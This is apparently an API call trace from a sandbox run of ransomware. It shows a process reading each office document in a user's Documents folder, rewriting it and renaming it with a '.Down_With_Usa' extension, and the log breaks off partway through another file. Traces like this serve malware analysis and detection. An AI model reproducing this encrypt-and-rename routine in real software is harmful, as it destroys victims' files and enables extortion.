[0118.457] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idfoi5o_3t4o.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idfoi5o_3t4o.xlsx.down_with_usa")) returned 1
[0118.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", lpFilePart=0x0) returned 0x38
[0118.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\iueu zajv8i.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.458] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1780f
[0118.460] ReadFile (in: hFile=0x3a8, lpBuffer=0x13dbbb80, nNumberOfBytesToRead=0x1780f, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13dbbb80*, lpNumberOfBytesRead=0x2ebe58*=0x1780f, lpOverlapped=0x0) returned 1
[0118.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", lpFilePart=0x0) returned 0x38
[0118.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\iueu zajv8i.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx", lpFilePart=0x0) returned 0x38
[0118.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0118.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\iueu zajv8i.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb7760, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0x70ae1810, ftLastAccessTime.dwHighDateTime=0x1d5b108, ftLastWriteTime.dwLowDateTime=0x231aef00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17810)) returned 1
[0118.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\iueu zajv8i.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\iueu zajv8i.pptx.down_with_usa")) returned 1
[0118.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", lpFilePart=0x0) returned 0x38
[0118.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jbahigaqtja.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.523] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xf4fb
[0118.523] ReadFile (in: hFile=0x3a8, lpBuffer=0x2638348, nNumberOfBytesToRead=0xf4fb, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2638348*, lpNumberOfBytesRead=0x2ebe58*=0xf4fb, lpOverlapped=0x0) returned 1
[0118.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", lpFilePart=0x0) returned 0x38
[0118.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jbahigaqtja.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx", lpFilePart=0x0) returned 0x38
[0118.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0118.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jbahigaqtja.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b5e0d0, ftCreationTime.dwHighDateTime=0x1d57817, ftLastAccessTime.dwLowDateTime=0x9a1f8150, ftLastAccessTime.dwHighDateTime=0x1d5b100, ftLastWriteTime.dwLowDateTime=0x23247480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf500)) returned 1
[0118.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.576] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jbahigaqtja.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jbahigaqtja.xlsx.down_with_usa")) returned 1
[0118.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", lpFilePart=0x0) returned 0x38
[0118.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kyggi7mewmm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.578] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x163d7
[0118.580] ReadFile (in: hFile=0x3a8, lpBuffer=0x13e676d0, nNumberOfBytesToRead=0x163d7, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13e676d0*, lpNumberOfBytesRead=0x2ebe58*=0x163d7, lpOverlapped=0x0) returned 1
[0118.639] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", lpFilePart=0x0) returned 0x38
[0118.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kyggi7mewmm.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.645] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx", lpFilePart=0x0) returned 0x38
[0118.645] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0118.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kyggi7mewmm.docx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92dce0, ftCreationTime.dwHighDateTime=0x1d5b6ce, ftLastAccessTime.dwLowDateTime=0x3b3de6e0, ftLastAccessTime.dwHighDateTime=0x1d583a6, ftLastWriteTime.dwLowDateTime=0x232dfa00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x163e0)) returned 1
[0118.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kyggi7mewmm.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kyggi7mewmm.docx.down_with_usa")) returned 1
[0118.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", lpFilePart=0x0) returned 0x3e
[0118.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m66qahnrmtklgblhjw.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.648] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xd9fd
[0118.648] ReadFile (in: hFile=0x3a8, lpBuffer=0x264d160, nNumberOfBytesToRead=0xd9fd, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x264d160*, lpNumberOfBytesRead=0x2ebe58*=0xd9fd, lpOverlapped=0x0) returned 1
[0118.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", lpFilePart=0x0) returned 0x3e
[0118.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m66qahnrmtklgblhjw.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods", lpFilePart=0x0) returned 0x3e
[0118.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0118.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m66qahnrmtklgblhjw.ods"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8876e0, ftCreationTime.dwHighDateTime=0x1d5d827, ftLastAccessTime.dwLowDateTime=0xa14dd140, ftLastAccessTime.dwHighDateTime=0x1d5e5c4, ftLastWriteTime.dwLowDateTime=0x233c4240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xda00)) returned 1
[0118.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.739] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m66qahnrmtklgblhjw.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m66qahnrmtklgblhjw.ods.down_with_usa")) returned 1
[0118.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", lpFilePart=0x0) returned 0x37
[0118.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pzk5f8oru5.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.743] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x8b0e
[0118.743] ReadFile (in: hFile=0x3a8, lpBuffer=0x276f808, nNumberOfBytesToRead=0x8b0e, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x276f808*, lpNumberOfBytesRead=0x2ebe58*=0x8b0e, lpOverlapped=0x0) returned 1
[0118.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", lpFilePart=0x0) returned 0x37
[0118.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pzk5f8oru5.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.782] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx", lpFilePart=0x0) returned 0x37
[0118.782] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0118.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pzk5f8oru5.docx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d9c370, ftCreationTime.dwHighDateTime=0x1d56cdb, ftLastAccessTime.dwLowDateTime=0x58ad0f20, ftLastAccessTime.dwHighDateTime=0x1d57367, ftLastWriteTime.dwLowDateTime=0x23436660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8b10)) returned 1
[0118.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pzk5f8oru5.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pzk5f8oru5.docx.down_with_usa")) returned 1
[0118.784] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", lpFilePart=0x0) returned 0x36
[0118.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrospjzoy.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.784] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x9e20
[0118.784] ReadFile (in: hFile=0x3a8, lpBuffer=0x26980f0, nNumberOfBytesToRead=0x9e20, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26980f0*, lpNumberOfBytesRead=0x2ebe58*=0x9e20, lpOverlapped=0x0) returned 1
[0118.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", lpFilePart=0x0) returned 0x36
[0118.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrospjzoy.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx", lpFilePart=0x0) returned 0x36
[0118.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x44
[0118.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrospjzoy.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b072030, ftCreationTime.dwHighDateTime=0x1d5a88b, ftLastAccessTime.dwLowDateTime=0xf5f79c20, ftLastAccessTime.dwHighDateTime=0x1d5bcb7, ftLastWriteTime.dwLowDateTime=0x23482920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9e30)) returned 1
[0118.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.816] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrospjzoy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrospjzoy.xlsx.down_with_usa")) returned 1
[0118.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", lpFilePart=0x0) returned 0x3d
[0118.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\snuw0vqjwlqlbubn7.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.818] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x111b4
